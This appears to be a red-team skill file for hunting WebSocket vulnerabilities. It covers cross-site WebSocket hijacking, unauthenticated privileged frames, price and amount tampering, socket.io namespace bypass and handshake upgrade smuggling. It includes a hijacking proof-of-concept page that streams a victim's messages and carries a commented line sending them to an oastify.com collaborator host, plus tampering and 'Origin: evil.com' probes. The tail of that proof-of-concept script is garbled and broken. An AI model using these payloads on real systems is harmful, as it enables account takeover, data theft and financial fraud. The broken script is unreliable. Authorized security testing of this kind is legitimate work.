hunt-websocket

name	hunt-websocket
description	Hunt WebSocket vulnerabilities — Cross-Site WebSocket Hijacking (CSWSH), missing/weak Origin validation on the WS handshake, no per-message authentication, message tampering, socket.io namespace/room authorization bypass, and handshake-layer Upgrade smuggling. Use when target has WebSocket endpoints (ws:// or wss://), socket.io / SignalR / Phoenix Channels, real-time features, chat, live dashboards, notifications, or trading platforms.
version	1.1.0
revision_date	"2026-07-25T00:00:00.000Z"
license	MIT
category	redteam
tags	["websocket","hunt","redteam"]

HUNT-WEBSOCKET — WebSocket Security

Crown Jewel Targets

CSWSH (Cross-Site WebSocket Hijacking) with a cookie-authenticated handshake and no CSRF/per-connection token = High–Critical (real-time exfil of any logged-in victim's data).

Highest-value chains:

• CSWSH → data exfil / ATO — handshake authenticates via ambient cookie, no CSRF token, Origin not enforced → attacker page opens WS as the victim and streams their messages/PII/tokens. If the stream carries a session/refresh/CSRF token, this escalates to ATO.
• No per-message auth — HTTP/handshake auth present but individual WS frames are not re-authorized → privileged messages accepted (deleteUser, getSecretConfig).
• Message tampering — modify in-flight frames (price, qty, userId, amount) in trading/game/checkout apps → financial fraud.
• socket.io namespace / room authz bypass — connect to a privileged namespace or join another user's room without a permission check → cross-tenant real-time exfil.
• Handshake-layer Upgrade smuggling — a malformed Upgrade/Connection/Sec-WebSocket-* handshake makes the front proxy and origin disagree on whether an upgrade occurred → request-smuggling tunnel.

---

Grounding — Reference Cases (read before hunting)

These are public, verifiable references. Use them to calibrate what a real WS finding looks like and how it was proven. Do not invent additional report IDs or payouts.

#	Source / ID	Class	Lesson
1	PortSwigger Web Security Academy — "Cross-site WebSocket hijacking" (research + labs)	CSWSH	Canonical CSWSH model: cookie-auth handshake + no CSRF token + missing Origin check → attacker reads/sends as victim. The authoritative methodology.
2	Christian Schneider — "Cross-Site WebSocket Hijacking (CSWSH)" (original disclosure/write-up, 2013)	CSWSH	First public CSWSH technique: cookie-auth handshake + no Origin enforcement; PoC must prove victim-data receipt in the attacker browser, not just a 101.
3	Coda CSWSH (referenced in this repo's hunt-csrf set)	CSWSH	Real-time collab apps commonly authenticate the socket purely via cookie; Origin allow-listing was the missing control.
4	CVE-2020-7662 — websocket-extensions (Node) ReDoS	DoS	A crafted Sec-WebSocket-Extensions header triggers catastrophic backtracking — handshake header is an attack surface, not just frames.
5	CVE-2024-37890 — ws (Node) DoS	DoS	Many handshake request headers exhaust the server; confirms the handshake itself is parser-attackable pre-frames.
6	Outdated socket.io / Engine.IO stacks	socket.io	Motivates the version-fingerprint step in Phase 7 — fingerprint the version, then check that release's known advisories.

Only the four CVEs above are asserted with exact IDs because they are verifiable. For any case where you are not certain of the exact identifier, describe the technique with no citation — a wrong CVE is worse than none.

---

Phase 1 — Discover WebSocket Endpoints

# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
  recon/$TARGET/ --include="*.js" 2>/dev/null | \
  grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u

# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
  recon/$TARGET/urls.txt | sort -u

# Probe handshake (101 = upgrade supported)
curl --max-time 30 --connect-timeout 10 -sI -o /dev/null -w "%{http_code}\n" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
  "https://$TARGET/ws"

# socket.io polling handshake leaks version + sid
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo

# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open

In Burp Pro, use get_proxy_websocket_history (and the WebSockets tab) after browsing the app to enumerate live sockets, message schemas, and which frames carry auth-sensitive data.

---

Phase 2 — CSWSH (Cross-Site WebSocket Hijacking)

CSWSH requires THREE conditions together: (a) the handshake authenticates via an ambient credential (cookie sent automatically), (b) there is no unpredictable per-connection token in the handshake (no CSRF token / no token in URL/body), and (c) the server does not enforce Origin. Missing any one breaks the attack.

# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
#   Look for: Cookie: session=...  AND  the ABSENCE of any per-request token
#   (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
#   If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.

# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
  --header "Origin: https://evil.com" \
  --header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.

<!-- Step 3 — Real PoC: host on attacker origin, open while a SEPARATE victim
     account is logged into TARGET in the same browser. The bug is only
     confirmed if attacker JS RECEIVES the victim's data (or successfully
     sends a privileged frame). Cross-origin JS cannot set Origin/Cookie —
     the browser does, which is exactly the threat model. -->
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2);   // unique per run
var ws = new WebSocket("wss://TARGET/ws");                     // attacker cannot forge Origin
ws.onopen = () => {
  log("[+] 101 opened from attacker origin");
  ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
  log("VICTIM-DATA: " + e.data);
  // Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
  // navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws. =  ();
 (){.(). += s + ;}

False-positive killers:

• A completed 101 from Origin: evil.com is NOT a finding. Many servers accept the upgrade and then send nothing, or close on the first authenticated frame.
• Verify the data you receive belongs to a different account than the attacker, using a unique marker / distinct victim PII you planted in account B.
• Exfil the received payload to Burp Collaborator / an OAST listener so receipt is recorded out-of-band — this is your impact proof for the report.
• If a per-connection token rides the handshake (in the URL, a sub-protocol, or the first frame), CSWSH is not cross-site exploitable; downgrade or drop.

---

Phase 3 — Missing / Weak Authentication on WS Messages

Handshake auth ≠ per-message auth. Apps often authenticate the socket once, then trust every subsequent frame.

# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}

# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}

Validate: the privileged action must produce a real effect (a deleted test user, returned secret config, a state change visible via a second channel) — a frame that is accepted and silently ignored is not a finding. Re-run as an unauthenticated client to confirm the action is not simply broadcast to everyone harmlessly.

---

Phase 4 — Message Tampering (Financial / Game / Checkout)

# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
#   {"price":100}      -> {"price":0.01}
#   {"amount":1}       -> {"amount":9999}
#   {"userId":123}     -> {"userId":1}        # impersonate admin
#   {"orderTotal":...} -> recompute downstream?

# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}

Validate: the tampered value must persist server-side — confirm via the REST/order API or a fresh socket that the order/balance/price actually reflects the manipulation. Many UIs echo your own frame back optimistically; that echo is NOT proof. Demonstrate financial/state impact, ideally on a sandbox/test instrument.

---

Phase 5 — socket.io / SignalR / Phoenix Namespace & Room Authz Bypass

Engine.IO/socket.io is a protocol layered over the raw WebSocket. Packet prefixes (Engine.IO 4=MESSAGE wrapping socket.io 0=CONNECT, 1=DISCONNECT, 2=EVENT) carry namespace/room intent. Authorization must be checked when joining; often it isn't.

# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
  --header "Cookie: session=YOUR_SESSION"

# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
#    then CONNECT to a namespace with a socket.io CONNECT packet.
#    CORRECT packet to join the /admin namespace:  40/admin,
#       4 = Engine.IO MESSAGE,  0 = socket.io CONNECT,  /admin, = namespace
#    (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
#    Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
#    on rejection. A 40 success to a privileged namespace as a low/no-priv
#    user is the bug.

# 3) Once in a namespace, emit an EVENT (42) to join another user's room:
# > 42/admin,["join",{"room":"user_999_private"}]
# > 42["subscribe",{"channel":"admin_events"}]      # root namespace
#    Watch for 42 EVENT frames carrying ANOTHER user's data.

Validate: distinguish connected to namespace from received privileged data. The finding is confirmed only when you receive 42 event frames containing data belonging to a different tenant/user, or a privileged emit produces a verifiable server-side effect. A 40/admin ack with no subsequent data may just be an open-but-empty namespace.

SignalR analogue: negotiate at /<hub>/negotiate, then connect and Invoke/Send hub methods — test method-level authorization. Phoenix Channels: phx_join to topic:subtopic and check whether the server's join/3 authorizes the topic.

---

Phase 6 — Handshake-Layer Upgrade Smuggling (NOT frame smuggling)

Important: once a WebSocket is established, your payloads are wrapped in WS frames and are never re-parsed as HTTP by the proxy. Typing GET /admin HTTP/1.1 into an open wscat session does nothing. WebSocket-related smuggling lives at the handshake, before any frames exist.

The real technique: send a WebSocket Upgrade request that the front proxy and the origin interpret differently — e.g. a bad Sec-WebSocket-Version that makes the origin reply 426 Upgrade Required (or 400) while the proxy has already decided the connection is "upgraded" and stops parsing HTTP. The proxy then tunnels subsequent bytes straight to the origin as an opaque stream, letting you smuggle arbitrary HTTP requests past front-end controls (WAF/authz).

# Detection is HTTP-layer, not frame-layer. Use Burp Repeater / send_http1_request
# and toggle ONE handshake variable at a time, comparing front-vs-origin behavior:

#  A) Valid-looking upgrade but unsupported version:
#     Upgrade: websocket
#     Connection: Upgrade
#     Sec-WebSocket-Version: 777          <- origin should 426; does the proxy still tunnel?
#     Sec-WebSocket-Key: <16-byte base64>

#  B) Upgrade header present but Connection: keep-alive (mismatch)
#  C) Smuggled second request body after a "successful" 101, then send a normal
#     follow-up request on the same connection and watch for a desynced response.

Drive this with Burp Pro's HTTP Request Smuggler extension (it has WebSocket-upgrade test cases) rather than by hand. Validate exactly like classic smuggling: prove desync via a timing/differential probe AND show real impact (reach an internal/forbidden path, poison a cached response, or capture another user's request) — confirmed against Burp Collaborator / OAST, never on a single ambiguous response.

---

Phase 7 — socket.io / Engine.IO Specifics

# Version + initial sid (handshake JSON after the leading Engine.IO digit)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Old/EOL socket.io stacks have known issues — fingerprint the version, then check that release's advisories;
# fingerprint the client lib version from JS bundles too.

# Namespace selection is a PROTOCOL message, not a URL param.
#   WRONG:  wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket&nsp=/admin"
#           ^ `nsp` is NOT a recognized socket.io query param. It is silently
#             ignored and you connect to the ROOT namespace "/". You will believe
#             you tested /admin when you did not.
#   RIGHT:  open the socket, then send the CONNECT packet  40/admin,  (Phase 5).

# Forged/replayed sid against the polling transport (session fixation / hijack probe)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling&sid=FAKE_OR_VICTIM_SID"
#   400 "Session ID unknown" = good. A 200 that resumes another sid's stream = bug.

---

Tools

npm install -g wscat                 # CLI WS client (raw + socket.io)
brew install websocat                # alt client; supports text/binary + autoreconnect
# Burp Suite Pro: WebSockets history (intercept/edit/replay), HTTP Request
#   Smuggler extension (handshake-upgrade smuggling), Collaborator for OAST proof.
# Burp MCP: get_proxy_websocket_history / get_proxy_websocket_history_regex to
#   enumerate frames; generate_collaborator_payload + get_collaborator_interactions
#   to prove out-of-band receipt from a CSWSH/smuggling PoC.

---

Chain Table

WS finding	Chain to	Impact
CSWSH + token in stream	Steal session/refresh/CSRF token from victim frames	ATO (Critical)
CSWSH confirmed	Subscribe to victim channels, exfil to OAST	Real-time data theft (High)
No per-message auth	Send admin/privileged frames	Privilege escalation (Critical)
Message tampering	Modify price/amount/userId, confirm server-side	Financial fraud (Critical)
Namespace/room authz bypass	Join other tenant's room, read 42 events	Cross-tenant exfil (High)
Handshake Upgrade smuggling	Tunnel HTTP past WAF/authz, OAST-confirmed	Smuggling → SSRF/cache poison (High–Critical)

---

Validation (mandatory before reporting)

• ✅ CSWSH: attacker-origin PoC HTML, opened with a different victim account logged in, must receive that victim's data (verified by a unique planted marker / distinct PII) and exfil it to Collaborator/OAST. A bare 101 from a foreign Origin is NOT a finding.
• ✅ No per-message auth: privileged frame produces a verifiable server-side effect (state change confirmed via a second channel / REST API), not merely "accepted".
• ✅ Message tampering: tampered value persists server-side (confirmed via order/balance API), not just echoed in the UI.
• ✅ Namespace/room bypass: received 42 event frames with another user's data, not just a 40 namespace ack.
• ✅ Upgrade smuggling: desync proven by timing/differential probe and real-world impact, OAST-confirmed. No single-response guesses.
• ❌ Reject: a 101 alone, an accepted-but-ignored frame, a self-echoed message, a connected-but-empty namespace, or any "confirmed" claim lacking out-of-band/cross-account proof.

Severity:

• CSWSH leaking session/refresh token → ATO: Critical
• CSWSH → real-time session-data theft: High
• No auth on admin/privileged WS actions: Critical
• Financial message tampering (server-confirmed): Critical
• Namespace/room subscription bypass (cross-tenant): High

Verification

Run this self-test to confirm websocket hunting readiness:

1. Skill integrity — confirm the skill file is readable and well-formed:

   grep -q "name: hunt-websocket" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. Category check — confirm the skill has a category:

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. Pitfalls section — confirm pitfalls are documented:

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
   

All 3 tests verify the skill is properly structured and ready for use.

---

Pitfalls

• WebSocket without auth — if the WebSocket endpoint doesn't require auth tokens, anyone can connect. Test post-connection auth requirements.
• ws:// instead of wss:// — plaintext WebSocket on public services allows MITM. This is Medium if the WebSocket carries sensitive data.
• WebSocket CSWSH — Cross-Site WebSocket Hijacking: if the WebSocket handshake doesn't validate Origin, an attacker's page can open a WebSocket. Test with Origin: evil.com.
• WebSocket message injection — injecting into WebSocket messages that are reflected to other users is stored XSS via WebSocket.

---

Related Skills

• hunt-csrf — CSWSH is structurally a CSRF + WebSocket upgrade combo. Chain primitive: handshake authenticates via ambient cookie + no CSRF token + missing Origin check → attacker-origin page opens WS as victim and streams messages → same impact model as CSRF (state change without consent) but bidirectional.
• hunt-http-smuggling — Handshake-layer Upgrade smuggling (malformed Upgrade/Connection headers) makes front proxy and origin disagree on whether an upgrade occurred. Chain primitive: smuggling tunnel through WAF → internal endpoint access or cache poisoning.
• hunt-ssrf — WebSocket endpoints that accept URL params or connection-target overrides are SSRF surfaces. Chain primitive: WS client connects to wss://target/ws?proxy=attacker-host → server-side proxy follows → cloud metadata on [REDACTED_IP].
• hunt-session — WebSocket connections that don't re-validate session on reconnection create persistence bugs. Chain primitive: stolen session cookie replayed on new WS connection → reconnection inherits all subscribed channels without re-auth.
• hunt-tls-network — WebSocket connections over wss:// vs ws:// (plaintext) determine whether PII in frames is readable on the wire. Chain primitive: ws:// on non-standard port → TLS downgrade → credential interception.
• security-arsenal — Reach for the WebSocket CSWSH PoC template, socket.io/signalr namespace discovery payloads, and the WS message tampering frame construction guide.
• triage-validation — Apply the OOB-Or-It-Didn't-Happen Gate: CSWSH is only confirmed when attacker-origin JS actually receives victim data (verified by unique marker / distinct PII) and exfils it to a Collaborator listener. A bare 101 from a foreign Origin is not a finding.